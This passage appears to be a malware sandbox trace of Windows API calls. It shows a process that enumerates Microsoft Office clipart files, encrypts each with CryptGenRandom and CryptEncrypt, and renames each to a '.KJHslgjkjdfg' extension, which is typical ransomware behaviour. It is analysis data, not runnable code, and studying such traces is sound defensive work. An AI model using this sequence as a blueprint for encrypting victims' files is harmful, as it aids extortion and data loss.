office\\clipart\\pub60cor\\na01858_.wmf.kjhslgjkjdfg")) returned 1 [0205.716] CloseHandle (hObject=0x130) returned 1 [0205.716] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa55a300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa55a300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xdb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01866_.WMF", cAlternateFileName="")) returned 1 [0205.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.717] GetProcessHeap () returned 0x990000 [0205.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.717] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.717] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.719] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.719] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.719] GetProcessHeap () returned 0x990000 [0205.719] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.720] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.720] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.720] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.720] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.720] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.720] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.720] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.720] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.720] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.721] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xdb8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xdb8, lpOverlapped=0x0) returned 1 [0205.721] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdc0, dwBufLen=0xdc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdc0) returned 1 [0205.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.721] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xdc0, lpOverlapped=0x0) returned 1 [0205.721] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.721] SetEndOfFile (hFile=0x130) returned 1 [0205.724] GetProcessHeap () returned 0x990000 [0205.724] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.724] GetProcessHeap () returned 0x990000 [0205.724] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.kjhslgjkjdfg")) returned 1 [0205.725] CloseHandle (hObject=0x130) returned 1 [0205.725] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02009_.WMF", cAlternateFileName="")) returned 1 [0205.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.726] GetProcessHeap () returned 0x990000 [0205.726] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.726] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.726] GetProcessHeap () returned 0x990000 [0205.726] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.726] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.726] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.726] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.728] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.728] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.729] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.729] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.729] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.729] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.729] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x27e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x27e0, lpOverlapped=0x0) returned 1 [0205.730] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27e0, dwBufLen=0x27e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27e0) returned 1 [0205.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.730] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x27e0, lpOverlapped=0x0) returned 1 [0205.730] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x28b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.730] SetEndOfFile (hFile=0x130) returned 1 [0205.733] GetProcessHeap () returned 0x990000 [0205.733] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.733] GetProcessHeap () returned 0x990000 [0205.733] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.kjhslgjkjdfg")) returned 1 [0205.734] CloseHandle (hObject=0x130) returned 1 [0205.734] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620ded00, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x620ded00, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02041_.WMF", cAlternateFileName="")) returned 1 [0205.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.735] GetProcessHeap () returned 0x990000 [0205.735] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.735] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.735] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.737] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.737] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.737] GetProcessHeap () returned 0x990000 [0205.737] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.737] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.737] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.737] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.737] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.737] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.737] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.738] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.738] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.738] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.738] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x918, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x918, lpOverlapped=0x0) returned 1 [0205.738] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x920, dwBufLen=0x920 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x920) returned 1 [0205.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.738] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x920, lpOverlapped=0x0) returned 1 [0205.738] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.738] SetEndOfFile (hFile=0x130) returned 1 [0205.740] GetProcessHeap () returned 0x990000 [0205.740] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.740] GetProcessHeap () returned 0x990000 [0205.740] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.kjhslgjkjdfg")) returned 1 [0205.741] CloseHandle (hObject=0x130) returned 1 [0205.741] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb82d6100, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb82d6100, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02066_.WMF", cAlternateFileName="")) returned 1 [0205.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.743] GetProcessHeap () returned 0x990000 [0205.743] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.743] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.743] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.745] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.745] GetProcessHeap () returned 0x990000 [0205.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.745] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.745] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.745] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.745] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.745] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.745] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.746] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.746] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.746] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x43c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x43c, lpOverlapped=0x0) returned 1 [0205.746] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x440, dwBufLen=0x440 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x440) returned 1 [0205.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.746] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x440, lpOverlapped=0x0) returned 1 [0205.746] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.746] SetEndOfFile (hFile=0x130) returned 1 [0205.748] GetProcessHeap () returned 0x990000 [0205.748] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.748] GetProcessHeap () returned 0x990000 [0205.748] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.kjhslgjkjdfg")) returned 1 [0205.749] CloseHandle (hObject=0x130) returned 1 [0205.749] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3552d900, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3552d900, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02091_.WMF", cAlternateFileName="")) returned 1 [0205.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.750] GetProcessHeap () returned 0x990000 [0205.750] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.750] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.750] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.753] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 